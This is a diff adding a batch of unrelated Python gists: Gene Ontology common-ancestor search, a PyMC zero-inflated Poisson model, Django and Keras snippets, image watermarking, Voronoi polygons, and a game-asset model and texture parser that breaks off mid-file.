+            bestnode_ancestors = set(calc_dists_to_top_of_GO_using_bfs.BFS_dist_from_node(bestnode, parents).keys())
+            for bestnode_ancestor in bestnode_ancestors:
+                if bestnode_ancestor in dist1:
+                    del dist1[bestnode_ancestor]
+                if bestnode_ancestor in dist2:
+                    del dist2[bestnode_ancestor]
+        # eg. for GO:0001578 and GO:0030036, the first time around the while loop we get that 'bestnode = GO:0007010. When
+        # we delete this term and its ancestors from the dist1 and dist2 dictionaries, we are left with:
+        # dist1: {'GO:0001578': 0, 'GO:0000226': 1, 'GO:0007017': 2}
+        # dist2: {'GO:0030029': 1, 'GO:0030036': 0}
+          
+        if VERBOSE:
+            print("dist1 now=",dist1)
+            print("dist2 now=",dist2)
+            print("lcas=",lcas)
+            
+    return lcas
+            
+#====================================================================#
+
+# define a function to find the common ancestor(s) of the GO terms for two genes, each of which has a list of GO terms:
+
+def find_lcas_of_GO_terms_for_two_genes(gene1_terms, gene2_terms, parents):
+    """find last common ancestor(s) of GO terms for two genes, each of which has a list of GO terms"""
+    
+    VERBOSE = False
+        
+    # define a set of the last common ancestor(s) of the GO terms in gene1_terms and gene2_terms:
+    gene1_gene2_lcas = set() 
+    
+    for term1 in gene1_terms:
+        for term2 in gene2_terms:
+            # find the last common ancestor(s) of term1 and term2:
+            term1_term2_lcas = find_lcas_of_pair_of_GO_terms(term1, term2, parents)
+            if VERBOSE: 
+                print("lcas for %s and %s=%s" % (term1, term2, term1_term2_lcas))
+            # add the terms in 'term1_term2_lcas' to the set gene1_gene2_lcas:
+            gene1_gene2_lcas.update(term1_term2_lcas)
+    
+    if VERBOSE:        
+        print("gene1_gene2_lcas=",gene1_gene2_lcas)
+        
+    # remove any terms in gene1_gene2_lcas that are ancestors of other terms in the set: 
+    # first make a copy of the set gene1_gene2_lcas:
+    gene1_gene2_lcas2 = gene1_gene2_lcas.copy()
+    
+    for gene1_gene2_lca in gene1_gene2_lcas:
+        # find all the ancestors of gene1_gene2_lca (also includes itself):
+        gene1_gene2_ancestors = set(calc_dists_to_top_of_GO_using_bfs.BFS_dist_from_node(gene1_gene2_lca, parents).keys())
+        for gene1_gene2_ancestor in gene1_gene2_ancestors:
+            # remove gene1_gene2_ancestor from gene1_gene2_lcas2, if it is not the same term as gene1_gene2_lca:
+            if gene1_gene2_ancestor in gene1_gene2_lcas2 and gene1_gene2_lca != gene1_gene2_ancestor:
+                if VERBOSE: 
+                    print("removing %s from gene1_gene2_lcas2 as it is an ancestor of %s" % (gene1_gene2_ancestor, gene1_gene2_lca) )
+                gene1_gene2_lcas2.remove(gene1_gene2_ancestor)
+        
+    return gene1_gene2_lcas2
+    
+#====================================================================#
+
+# define a function that, for several genes, each having a list of GO terms, finds
+# the last common ancestor(s) of the GO terms for the list of genes:
+
+def find_lcas_of_GO_terms_for_many_genes(gene_terms, parents):
+    """find last common ancestor(s) of GO terms for many genes, each of which has a list of GO terms"""
+    
+    VERBOSE = False
+    
+    # find a list of the genes in dictionary gene_terms:
+    genes = list(gene_terms.keys())
+    assert(len(genes) > 0)
+
+    # find the GO terms for a gene in the list 'genes':
+    gene1 = genes.pop()
+    gene1_terms = gene_terms[gene1] # note that gene1 is in dictionary gene_terms, as it's a key
+    
+    while len(genes) > 0:
+        # get a gene from the list 'genes':
+        gene2 = genes.pop()
+        gene2_terms = gene_terms[gene2] # note that gene2 is in dictionary gene_terms, as it's a key
+        # find the last common ancestor(s) of the GO terms of gene1 and gene2:
+        gene1_gene2_lcas = find_lcas_of_GO_terms_for_two_genes(gene1_terms, gene2_terms, parents)
+        if VERBOSE:
+            print("lcas of GO terms %s and %s = %s" % (gene1_terms, gene2_terms, gene1_gene2_lcas))
+        # set 'gene1_terms' to be a list of the terms in set gene1_gene2_lcas:
+        gene1_terms = list(gene1_gene2_lcas)
+        
+    # define a set of the lcas of all the genes:
+    lcas = set(gene1_terms)
+    
+    return lcas
+
+#====================================================================#
+
+def main():
+    
+    # check the command-line arguments:
+    if len(sys.argv) != 2 or os.path.exists(sys.argv[1]) == False:
+        print("Usage: %s go_desc_file" % sys.argv[0]) 
+        sys.exit(1)
+    go_desc_file = sys.argv[1]
+
+    # read in the parents of each GO term in the GO hierarchy:
+    (parents, terms) = calc_dists_to_top_of_GO.read_go_ancestors(go_desc_file)  
+    
+    # for a pair of GO terms of interest, find their last common ancestor(s):
+    lcas = find_lcas_of_pair_of_GO_terms("GO:0001578", "GO:0030036", parents) # both are biological process terms
+    print("lcas for GO:0001578 (microtubule bundle formation) and GO:0030036 (actin cytoskeleton organization)=",lcas)
+    lcas2 = find_lcas_of_pair_of_GO_terms("GO:0004104", "GO:0003990", parents) # both are molecular function terms
+    print("lcas for GO:0004104 (cholinesterase activity) and GO:0003990 (acetylcholinesterase activity)=",lcas2)
+    lcas3 = find_lcas_of_pair_of_GO_terms("GO:0001578", "GO:0003990", parents) # one is biological process, one is molecular function
+    print("lcas for GO:0001578 (microtubule bundle formation) and GO:0003990 (acetylcholinesterase activity)=",lcas3) 
+    lcas4 = find_lcas_of_pair_of_GO_terms("GO:0004835", "GO:0003990", parents) # both are molecular function terms, but distant
+    print("lcas for GO:0004835 (tubulin-tyrosine ligase activity) and GO:0003900 (acetylcholinesterase activity)=%s\n" % lcas4) # get GO:0003824 = 'molecular function'
+
+    # for two genes, each having a list of GO terms, find the last common ancestor(s) of the GO terms for the two genes:
+    gene1_terms = ['GO:0001578', 'GO:0004104', 'GO:0004835'] # could be a list of more than 2 terms
+    gene2_terms = ['GO:0030036', 'GO:0003990'] # could be a list of more than 2 terms
+    gene1_gene2_lcas = find_lcas_of_GO_terms_for_two_genes(gene1_terms, gene2_terms, parents)
+    print("lcas for lists %s and %s = %s\n" % (gene1_terms, gene2_terms, gene1_gene2_lcas))
+     
+    # for several genes, each having a list of GO terms, find the last common ancestor(s) of the GO terms for the list of genes:
+    # example 1:
+    gene_terms = { 'gene1': ["GO:0003990", "GO:0004104"], 'gene2': ["GO:0003990", "GO:0004104"], 'gene3': ["GO:0004091"], 'gene4': ["GO:0003990", "GO:0004104", "GO:0004091"], 'gene5': ["GO:0004104"]}
+    genes_lcas = find_lcas_of_GO_terms_for_many_genes(gene_terms, parents)
+    print("example 1: lcas for genes = %s" % genes_lcas)
+    # example 2:
+    gene_terms = { 'C55A6.2': ["GO:0004835"], 'ZK1128.6': ["GO:0004835"], 'F25C8.5': ['GO:0004835'], 
+                   'H23L24.3': ["GO:0004835"], 'K07C5.7': ["GO:0004835"]}
+    genes_lcas = find_lcas_of_GO_terms_for_many_genes(gene_terms, parents)
+    print("example 2: lcas for genes = %s" % genes_lcas)     
+    # example 3:
+    gene_terms = { 'T06E4.3': ["GO:0016303", "GO:0016773", "GO:0016772", "GO:0005515"],
+                   'C48B6.6': ["GO:0016303", "GO:0016773", "GO:0005488", "GO:0016772", "GO:0005515"],
+                   'B0261.2': ["GO:0008144", "GO:0016303", "GO:0016773", "GO:0005488", "GO:0016772", "GO:0005515"],
+                   'Y48G1BL.2': ["GO:0016773", "GO:0016772", "GO:0005515"]}  
+    genes_lcas = find_lcas_of_GO_terms_for_many_genes(gene_terms, parents)
+    print("example 3: lcas for genes = %s" % genes_lcas)
+      
+#====================================================================#
+
+if __name__=="__main__":
+    main()
+
+#====================================================================#
+
+
diff --git a/hard-gists/874808/._snippet.py b/hard-gists/874808/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/874808/._snippet.py differ
diff --git a/hard-gists/874808/snippet.py b/hard-gists/874808/snippet.py
new file mode 100644
index 00000000..59e2400f
--- /dev/null
+++ b/hard-gists/874808/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+"""
+zip.py
+
+Zero-inflated Poisson example using simulated data.
+
+Created by Chris Fonnesbeck on 2008-06-06.
+Distributed under the MIT license: http://www.opensource.org/licenses/mit-license.php
+"""
+
+import pymc as pm
+import numpy as np
+
+# True parameter values
+mu_true = 5
+psi_true = 0.75
+n = 100
+
+# Simulate some data
+data = np.array([pm.rpoisson(mu_true)*(np.random.random()<psi_true) for i in range(n)])
+
+# Uniorm prior on Poisson mean
+mu = pm.Uniform('mu', 0, 20)
+# Beta prior on psi
+psi = pm.Beta('psi', alpha=1, beta=1)
+
+@pm.observed(dtype=int, plot=False)
+def zip(value=data, mu=mu, psi=psi):
+    """ ZIP likelihood """
+    
+    # Initialise likeihood
+    like = 0.0
+    
+    # Loop over data
+    for x in value:
+        
+        if not x:
+            # Zero values
+            
+            like += np.log((1.-psi) + psi*np.exp(-mu))
+            
+        else:
+            # Non-zero values
+            like += np.log(psi) + pm.poisson_like(x, mu)
+    
+    return like
+    
+if __name__=="__main__":
+    
+    M = pm.MCMC(locals())
+    M.sample(100000, 50000, verbose=2)
\ No newline at end of file
diff --git a/hard-gists/8752582/._snippet.py b/hard-gists/8752582/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8752582/._snippet.py differ
diff --git a/hard-gists/8752582/snippet.py b/hard-gists/8752582/snippet.py
new file mode 100644
index 00000000..691aee7f
--- /dev/null
+++ b/hard-gists/8752582/snippet.py
@@ -0,0 +1,14 @@
+from django.conf.urls import patterns, include, url
+from django.contrib.auth.decorators import login_required
+from django.contrib.admin.views.decorators import staff_member_required
+from django.contrib import admin
+
+from application.views import ApplicationFormView, ApplicationListView
+
+admin.autodiscover()
+
+urlpatterns = patterns('',
+    url(r'^$', login_required(ApplicationFormView.as_view())),
+    url(r'^applist/', staff_member_required(ApplicationListView.as_view())),
+    url(r'^admin/', include(admin.site.urls)),
+)
diff --git a/hard-gists/876324/._snippet.py b/hard-gists/876324/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/876324/._snippet.py differ
diff --git a/hard-gists/876324/snippet.py b/hard-gists/876324/snippet.py
new file mode 100644
index 00000000..0ab03de6
--- /dev/null
+++ b/hard-gists/876324/snippet.py
@@ -0,0 +1,26 @@
+from itertools import imap
+from collections import namedtuple
+
+from django.db.models.query import QuerySet, ValuesQuerySet
+
+
+class NamedTuplesQuerySet(ValuesQuerySet):
+    def iterator(self):
+        # Purge any extra columns that haven't been explicitly asked for
+        extra_names = self.query.extra_select.keys()
+        field_names = self.field_names
+        aggregate_names = self.query.aggregate_select.keys()
+
+        names = extra_names + field_names + aggregate_names
+        tuple_cls = namedtuple('%sTuple' % self.model.__name__, names)
+
+        # NOTE: we are not reordering fields here,
+        #       so they can go not in that order as in .namedtuples args
+        #       if extra or aggregates are used.
+        results_iter = self.query.get_compiler(self.db).results_iter()
+        return imap(tuple_cls._make, results_iter)
+
+
+def namedtuples(self, *fields):
+    return self._clone(klass=NamedTuplesQuerySet, setup=True, _fields=fields)
+QuerySet.namedtuples = namedtuples
\ No newline at end of file
diff --git a/hard-gists/876425/._snippet.py b/hard-gists/876425/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/876425/._snippet.py differ
diff --git a/hard-gists/876425/snippet.py b/hard-gists/876425/snippet.py
new file mode 100644
index 00000000..d9ed456e
--- /dev/null
+++ b/hard-gists/876425/snippet.py
@@ -0,0 +1,32 @@
+from PIL import Image, ImageDraw
+
+def main():
+    # Open the original image
+    main = Image.open("12voltm.jpg")
+
+    # Create a new image for the watermark with an alpha layer (RGBA)
+    #  the same size as the original image
+    watermark = Image.new("RGBA", main.size)
+    # Get an ImageDraw object so we can draw on the image
+    waterdraw = ImageDraw.ImageDraw(watermark, "RGBA")
+    # Place the text at (10, 10) in the upper left corner. Text will be white.
+    waterdraw.text((10, 10), "The Image Project")
+
+    # Get the watermark image as grayscale and fade the image
+    # See <http://www.pythonware.com/library/pil/handbook/image.htm#Image.point>
+    #  for information on the point() function
+    # Note that the second parameter we give to the min function determines
+    #  how faded the image will be. That number is in the range [0, 256],
+    #  where 0 is black and 256 is white. A good value for fading our white
+    #  text is in the range [100, 200].
+    watermask = watermark.convert("L").point(lambda x: min(x, 100))
+    # Apply this mask to the watermark image, using the alpha filter to 
+    #  make it transparent
+    watermark.putalpha(watermask)
+
+    # Paste the watermark (with alpha layer) onto the original image and save it
+    main.paste(watermark, None, watermark)
+    main.save("12volt-watermarked.jpg", "JPEG")
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/8792346/._snippet.py b/hard-gists/8792346/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8792346/._snippet.py differ
diff --git a/hard-gists/8792346/snippet.py b/hard-gists/8792346/snippet.py
new file mode 100644
index 00000000..11787dc5
--- /dev/null
+++ b/hard-gists/8792346/snippet.py
@@ -0,0 +1,15 @@
+from rest_framework.test import APITestCase
+from django.contrib.auth.models import User
+
+
+class MyAPICase(APITestCase):
+
+    def setUp(self):
+        user = User.objects.create_user('test_user',
+                                        'test@email.com', '12345')
+        self.client.force_authenticate(user=user)
+        self.client.login(username='test_user', password='12345')
+
+        session = self.client.session
+        session['some_session_key'] = 'some_session_value'
+        session.save()
\ No newline at end of file
diff --git a/hard-gists/87e9a3e0539ce268222d1d597864c098/._snippet.py b/hard-gists/87e9a3e0539ce268222d1d597864c098/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/87e9a3e0539ce268222d1d597864c098/._snippet.py differ
diff --git a/hard-gists/87e9a3e0539ce268222d1d597864c098/snippet.py b/hard-gists/87e9a3e0539ce268222d1d597864c098/snippet.py
new file mode 100644
index 00000000..8d04d96e
--- /dev/null
+++ b/hard-gists/87e9a3e0539ce268222d1d597864c098/snippet.py
@@ -0,0 +1,36 @@
+import keras
+import numpy as np
+
+timesteps = 60
+input_dim = 64
+samples = 10000
+batch_size = 128
+output_dim = 64
+
+# Test data.
+x_np = np.random.random((samples, timesteps, input_dim))
+y_np = np.random.random((samples, output_dim))
+
+print('Classic stacked LSTM: 35s/epoch on CPU')
+inputs = keras.Input((timesteps, input_dim))
+x = keras.layers.LSTM(output_dim, return_sequences=True)(inputs)
+x = keras.layers.LSTM(output_dim, return_sequences=True)(x)
+x = keras.layers.LSTM(output_dim)(x)
+
+classic_model = keras.models.Model(inputs, x)
+classic_model.compile(optimizer='rmsprop', loss='mse')
+classic_model.fit(x_np, y_np, batch_size=batch_size, epochs=4)
+
+print('New stacked LSTM: 30s/epoch on CPU (15pct faster)')
+cells = [
+    keras.layers.LSTMCell(output_dim),
+    keras.layers.LSTMCell(output_dim),
+    keras.layers.LSTMCell(output_dim),
+]
+
+inputs = keras.Input((timesteps, input_dim))
+x = keras.layers.RNN(cells)(inputs)
+
+new_model = keras.models.Model(inputs, x)
+new_model.compile(optimizer='rmsprop', loss='mse')
+new_model.fit(x_np, y_np, batch_size=batch_size, epochs=4)
diff --git a/hard-gists/8803860/._snippet.py b/hard-gists/8803860/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8803860/._snippet.py differ
diff --git a/hard-gists/8803860/snippet.py b/hard-gists/8803860/snippet.py
new file mode 100644
index 00000000..65da9307
--- /dev/null
+++ b/hard-gists/8803860/snippet.py
@@ -0,0 +1,175 @@
+from __future__ import division
+import collections
+import numpy as np
+import matplotlib
+import matplotlib.pyplot as plt
+from scipy.spatial import Delaunay, KDTree
+
+# an adaptation of https://stackoverflow.com/a/15783581/60982
+# using ideas from https://stackoverflow.com/a/9471601/60982
+
+def voronoi(P):
+    '''
+    Returns a list of all edges of the voronoi diagram for the given input points.
+    '''
+    delauny = Delaunay(P)
+    triangles = delauny.points[delauny.vertices]
+
+    circum_centers = np.array([triangle_csc(tri) for tri in triangles])
+    long_lines_endpoints = []
+
+    lineIndices = []
+    for i, triangle in enumerate(triangles):
+        circum_center = circum_centers[i]
+        for j, neighbor in enumerate(delauny.neighbors[i]):
+            if neighbor != -1:
+                lineIndices.append((i, neighbor))
+            else:     
+                ps = triangle[(j+1)%3] - triangle[(j-1)%3]
+                ps = np.array((ps[1], -ps[0]))
+
+                middle = (triangle[(j+1)%3] + triangle[(j-1)%3]) * 0.5
+                di = middle - triangle[j]
+
+                ps /= np.linalg.norm(ps)
+                di /= np.linalg.norm(di)
+
+                if np.dot(di, ps) < 0.0:
+                    ps *= -1000.0
+                else:
+                    ps *= 1000.0
+                    
+                long_lines_endpoints.append(circum_center + ps)                
+                lineIndices.append((i, len(circum_centers) + len(long_lines_endpoints)-1))
+
+    vertices = np.vstack((circum_centers, long_lines_endpoints))
+    
+    # filter out any duplicate lines
+    lineIndicesSorted = np.sort(lineIndices) # make (1,2) and (2,1) both (1,2)
+    lineIndicesTupled = [tuple(row) for row in lineIndicesSorted]
+    lineIndicesUnique = sorted(set(lineIndicesTupled))
+    
+    return vertices, lineIndicesUnique
+
+def triangle_csc(pts):
+    rows, cols = pts.shape
+
+    A = np.bmat([[2 * np.dot(pts, pts.T), np.ones((rows, 1))],
+                 [np.ones((1, rows)), np.zeros((1, 1))]])
+
+    b = np.hstack((np.sum(pts * pts, axis=1), np.ones((1))))
+    x = np.linalg.solve(A,b)
+    bary_coords = x[:-1]
+    return np.sum(pts * np.tile(bary_coords.reshape((pts.shape[0], 1)), (1, pts.shape[1])), axis=0)
+
+def voronoi_cell_lines(points, vertices, lineIndices):
+    '''
+    Returns a mapping from a voronoi cell to its edges.
+     
+    :param points: shape (m,2)
+    :param vertices: shape (n,2)
+    :param lineIndices: shape (o,2)
+    :rtype: dict point index -> list of shape (n,2) with vertex indices 
+    '''
+    kd = KDTree(points)
+    
+    cells = collections.defaultdict(list)
+    for i1,i2 in lineIndices:
+        v1,v2 = vertices[i1], vertices[i2]
+        mid = (v1+v2)/2
+        _, (p1Idx,p2Idx) = kd.query(mid, 2)
+        cells[p1Idx].append((i1,i2))
+        cells[p2Idx].append((i1,i2))
+
+    return cells
+
+def voronoi_polygons(cells):
+    '''
+    Transforms cell edges into polygons.
+    
+    :param cells: as returned from voronoi_cell_lines
+    :rtype: dict point index -> list of vertex indices which form a polygon 
+    '''
+    
+    # first, close the outer cells
+    for pIdx,lineIndices_ in cells.items():
+        dangling_lines = []
+        for i1,i2 in lineIndices_:
+            connections = list(filter(lambda i12_: (i1,i2) != (i12_[0],i12_[1]) and 
+                                      (i1==i12_[0] or i1==i12_[1] or i2==i12_[0] or i2==i12_[1]), 
+                                      lineIndices_))
+            assert 1 <= len(connections) <= 2
+            if len(connections) == 1:
+                dangling_lines.append((i1,i2))
+        assert len(dangling_lines) in [0,2]
+        if len(dangling_lines) == 2:
+            (i11,i12), (i21,i22) = dangling_lines
+            
+            # determine which line ends are unconnected
+            connected = list(filter(lambda i12_: (i12_[0],i12_[1]) != (i11,i12) and (i12_[0] == i11 or i12_[1] == i11), lineIndices_))
+            i11Unconnected = len(connected) == 0
+            
+            connected = list(filter(lambda i12_: (i12_[0],i12_[1]) != (i21,i22) and (i12_[0] == i21 or i12_[1] == i21), lineIndices_))
+            i21Unconnected = len(connected) == 0
+            
+            startIdx = i11 if i11Unconnected else i12
+            endIdx = i21 if i21Unconnected else i22
+            
+            cells[pIdx].append((startIdx, endIdx))
+    
+    # then, form polygons by storing vertex indices in (counter-)clockwise order
+    polys = dict()
+    for pIdx,lineIndices_ in cells.items():
+        # get a directed graph which contains both directions and arbitrarily follow one of both
+        directedGraph = lineIndices_ + [(i2,i1) for (i1,i2) in lineIndices_]
+        directedGraphMap = collections.defaultdict(list)
+        for (i1,i2) in directedGraph:
+            directedGraphMap[i1].append(i2)
+        orderedEdges = []
+        currentEdge = directedGraph[0]
+        while len(orderedEdges) < len(lineIndices_):
+            i1 = currentEdge[1]
+            i2 = directedGraphMap[i1][0] if directedGraphMap[i1][0] != currentEdge[0] else directedGraphMap[i1][1]
+            nextEdge = (i1, i2)
+            orderedEdges.append(nextEdge)
+            currentEdge = nextEdge
+        
+        polys[pIdx] = [i1 for (i1,i2) in orderedEdges]
+    
+    return polys
+
+def polygons(points):
+    '''
+    Returns the voronoi polygon for each input point.
+    
+    :param points: shape (n,2)
+    :rtype: list of n polygons where each polygon is an array of vertices
+    '''
+    vertices, lineIndices = voronoi(points)
+    cells = voronoi_cell_lines(points, vertices, lineIndices)
+    polys = voronoi_polygons(cells)
+    polylist = []
+    for i in range(len(points)):
+        poly = vertices[np.asarray(polys[i])]
+        polylist.append(poly)
+    return polylist
+    
+if __name__ == '__main__':
+    P = np.random.random((100,2))
+
+    fig = plt.figure(figsize=(4.5,4.5))
+    axes = plt.subplot(1,1,1)
+
+    plt.axis([-0.05,1.05,-0.05,1.05])
+
+    polys = polygons(P)
+        
+    for poly in polys:
+        p = matplotlib.patches.Polygon(poly, facecolor=np.random.rand(3,1))
+        axes.add_patch(p)
+
+    X,Y = P[:,0],P[:,1]
+    plt.scatter(X, Y, marker='.', zorder=2)
+
+    plt.axis([-0.05,1.05,-0.05,1.05])
+    plt.show()
diff --git a/hard-gists/8807124/._snippet.py b/hard-gists/8807124/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8807124/._snippet.py differ
diff --git a/hard-gists/8807124/snippet.py b/hard-gists/8807124/snippet.py
new file mode 100644
index 00000000..74035ad5
--- /dev/null
+++ b/hard-gists/8807124/snippet.py
@@ -0,0 +1,228 @@
+import struct
+import math
+import os
+import sys
+from PIL import Image
+from subprocess import call
+
+if sys.version > '3':
+	buffer = memoryview
+
+def getWord(b, k, n=4):
+	return sum(list(map(lambda c: b[k+c]<<(c*8),range(n))))
+
+totalVcount=1
+currentVcount=0
+
+totalNcount=1
+currentNcount=0
+hasNormals=False
+
+totalTCcount=1
+currentTCcount=0
+
+def parseVertices(b, o, s, f):
+	global hasNormals
+	global currentVcount, currentNcount, currentTCcount
+	if f==0x0C:
+		#for 3-word vertex descriptors
+		for i in range(int(s/f)):
+			arr=[struct.unpack('f',buffer(srcdata[(o+k*4):(o+(k+1)*4)]))[0] for k in range(3)]
+			print("v  "+str(arr[0])+" "+str(arr[1])+"   "+str(arr[2]))
+			currentVcount=currentVcount+1
+			o=o+f
+	if f==0x14:
+		#for 5-word vertex descriptors
+		for i in range(int(s/f)):
+			arr=[struct.unpack('f',buffer(srcdata[(o+k*4):(o+(k+1)*4)]))[0] for k in range(5)]
+			print("v  "+str(arr[0])+" "+str(arr[1])+"   "+str(arr[2]))
+			print("vt  "+str(arr[3])+" "+str(arr[4]))
+			currentVcount=currentVcount+1
+			currentTCcount=currentTCcount+1
+			o=o+f
+	elif f==0x18:
+		#for 6-word vertex descriptors
+		for i in range(int(s/f)):
+			arr=[struct.unpack('f',buffer(srcdata[(o+k*4):(o+(k+1)*4)]))[0] for k in range(6)]
+			print("v  "+str(arr[0])+" "+str(arr[1])+"   "+str(arr[2]))
+			print("vt  "+str(arr[4])+" "+str(arr[5]))
+			currentVcount=currentVcount+1
+			currentTCcount=currentTCcount+1
+			o=o+f
+	elif f==0x20 or f==0x24 or f==0x28:
+		#for 8-word vertex descriptors
+		#for 9-word vertex descriptors
+		#for 10-word vertex descriptors
+		for i in range(int(s/f)):
+			arr=[struct.unpack('f',buffer(srcdata[(o+k*4):(o+(k+1)*4)]))[0] for k in range(8)]
+			print("v  "+str(arr[0])+" "+str(arr[1])+"   "+str(arr[2]))
+			print("vn  "+str(arr[3])+" "+str(arr[4])+"   "+str(arr[5]))
+			print("vt  "+str(arr[6])+" "+str(arr[7]))
+			hasNormals=True
+			currentVcount=currentVcount+1
+			currentNcount=currentNcount+1
+			currentTCcount=currentTCcount+1
+			o=o+f
+
+def parseFaces(b, o, s, f):
+	global hasNormals
+	global totalVcount, totalNcount, totalTCcount
+	global currentVcount, currentNcount, currentTCcount
+
+	if f==1:
+		#for u8 face descriptors
+		for i in range(int(s/(3))):
+			arr=[struct.unpack('B',buffer(srcdata[(o+k):(o+(k+1))]))[0] for k in range(8)]
+			if hasNormals:
+				print("f "+str(arr[0]+totalVcount)+"/"+str(arr[0]+totalTCcount)+"/"+str(arr[0]+totalNcount)+" "+
+					str(arr[1]+totalVcount)+"/"+str(arr[1]+totalTCcount)+"/"+str(arr[1]+totalNcount)+" "+
+					str(arr[2]+totalVcount)+"/"+str(arr[2]+totalTCcount)+"/"+str(arr[2]+totalNcount))
+			else:
+				print("f "+str(arr[0]+totalVcount)+" "+str(arr[1]+totalVcount)+" "+str(arr[2]+totalVcount))
+			o=o+3
+	elif f==3:
+		#for u16 face descriptors
+		for i in range(int(s/(3*2))):
+			arr=[struct.unpack('H',buffer(srcdata[(o+k*2):(o+(k+1)*2)]))[0] for k in range(8)]
+			if hasNormals:
+				print("f "+str(arr[0]+totalVcount)+"/"+str(arr[0]+totalTCcount)+"/"+str(arr[0]+totalNcount)+" "+
+					str(arr[1]+totalVcount)+"/"+str(arr[1]+totalTCcount)+"/"+str(arr[1]+totalNcount)+" "+
+					str(arr[2]+totalVcount)+"/"+str(arr[2]+totalTCcount)+"/"+str(arr[2]+totalNcount))
+			else:
+				print("f "+str(arr[0]+totalVcount)+" "+str(arr[1]+totalVcount)+" "+str(arr[2]+totalVcount))
+			o=o+6
+
+	totalVcount=totalVcount+currentVcount
+	totalNcount=totalNcount+currentNcount
+	totalTCcount=totalTCcount+currentTCcount
+	currentVcount=0
+	currentNcount=0
+	currentTCcount=0
+
+def parseSOBJ(b, o):
+	global hasNormals
+	dataStructOffset=getWord(b, o+0x44)
+	
+	print("# SOBJ "+hex(o))
+	hasNormals=False
+	if(dataStructOffset!=0):
+		dataStructOffset=o+dataStructOffset
+
+		faceDataFormat=getWord(b,dataStructOffset+0x18,1)
+		faceDataSize=getWord(b,dataStructOffset+0x20)
+		faceDataOffset=dataStructOffset+0x24+getWord(b,dataStructOffset+0x24)
+
+		vertexDataFormat=getWord(b,dataStructOffset+0x68,1)
+		vertexDataSize=getWord(b,dataStructOffset+0x58)
+		vertexDataOffset=dataStructOffset+0x5C+getWord(b,dataStructOffset+0x5C)
+
+		print("# vertex format "+hex(vertexDataFormat))
+		parseVertices(b, vertexDataOffset, vertexDataSize, vertexDataFormat)
+
+		print("g SOBJ_"+hex(o))
+
+		parseFaces(b, faceDataOffset, faceDataSize, faceDataFormat)
+
+#returns RGBA tuple (with added pixel size)
+#format ID only confirmed for 0, 4, 5 and 7 !
+def parsePixel(b, o, f):
+	if f==0:
+		#RGBA8
+		pixel=getWord(b, o, 1)
+		return ((getWord(b, o+3, 1), getWord(b, o+2, 1), getWord(b, o+1, 1), getWord(b, o, 1)), 4)
+	elif f==1:
+		#RGB8
+		pixel=getWord(b, o, 1)
+		return ((getWord(b, o, 1), getWord(b, o+1, 1), getWord(b, o+2, 1), 255), 3)
+	elif f==2:
+		#RGBA5551
+		pixel=getWord(b, o, 2)
+		return ((((pixel>>11)&0x1F)*8, ((pixel>>6)&0x1F)*8, ((pixel>>1)&0x1F)*8, (255 if pixel&0x1==1 else 0)), 2)
+	elif f==3:
+		#RGB565
+		pixel=getWord(b, o, 2)
+		return ((((pixel>>11)&0x1F)*8, ((pixel>>5)&0x3F)*4, ((pixel)&0x1F)*8, 255), 2)
+	elif f==4:
+		#RGBA4
+		pixel=getWord(b, o, 2)
+		return ((((pixel>>12)&0xF)*16, ((pixel>>8)&0xF)*16, ((pixel>>4)&0xF)*16, (pixel&0xF)*16), 2)
+	elif f==5:
+		#LA8
+		pixel=getWord(b, o+1, 1)
+		return ((pixel, pixel, pixel, getWord(b, o, 1)),2)
+	elif f==7:
+		#L8
+		pixel=getWord(b, o, 1)
+		return ((pixel, pixel, pixel, 255),1)
+	# elif f==0xA:
+	# 	#?
+	# 	return ((0,0,0,0), 1)
+	# elif f==0xC:
+	# 	#?
+	# 	return ((0,0,0,0), 1)
+	elif f==0xD:
+		#A4 ?
+		return ((0,0,0,0), 1)
+	else:
+		print("# unknown format : "+hex(f))
+		return ((0,0,0,0), 1)
+
+
+tileOrder=[0,1,8,9,2,3,10,11,16,17,24,25,18,19,26,27,4,5,12,13,6,7,14,15,20,21,28,29,22,23,30,31,32,33,40,41,34,35,42,43,48,49,56,57,50,51,58,59,36,37,44,45,38,39,46,47,52,53,60,61,54,55,62,63]
+def parseTile(im, b, o, f, x, y):
+	global tileOrder
+	for k in range(8*8):
+		i=tileOrder[k]%8
+		j=int((tileOrder[k]-i)/8)
+		pixel=parsePixel(b,o,f)
+		im.putpixel((x+i,y+j), pixel[0])
+		o=o+pixel[1]
+	return o
+
+def parseTexture(b, o, s, w, h, f):
+	im = Image.new("RGB", (w,h))
+
+	dstname="tex_"+hex(o)+".png"
+
+	if f==0xB or f==0xC:
+		#ETC1; used external etc program (see https://gist.github.com/smealum/8897237 )
+		open("tmp_etc","wb").write(b[o:(o+s)])
+		#not super clean
+		call(["etc.exe", "tmp_etc", str(w), str(h)])
+		imgData=bytearray(open("tmp_etc.data","rb").read())
+		for j in range(0,h):
+			for i in range(0,w):
+				k=(i+j*w)*4
+				im.putpixel((i,j), (imgData[k],imgData[k+1],imgData[k+2],imgData[k+3]))
+	else:
+		for j in range(0,h,8):
+			for i in range(0,w,8):
+				o=parseTile(im, b, o, f, i, j)
+
+	im.save(dstname)
+
+def parseTXOB(b, o):
+	textureDataWidth=getWord(b,o+0x18)
+	textureDataHeight=getWord(b,o+0x14)
+	if textureDataWidth!=0 and textureDataHeight!=0:
+		textureDataFormat=getWord(b,o+0x30,1)
+		textureDataSize=getWord(b,o+0x40)
+		textureDataOffset=o+0x44+getWord(b,o+0x44)
+		#o=o+0x20
+		#print(hex(textureDataOffset)+" : "+hex(getWord(b,o))+" "+hex(getWord(b,o+4*1))+" "+hex(getWord(b,o+4*2))+" "+hex(getWord(b,o+4*3))+" "+hex(getWord(b,o+4*4))+" "+hex(getWord(b,o+4*5))+" "+hex(getWord(b,o+4*6))+" "+hex(getWord(b,o+4*7))+" "+
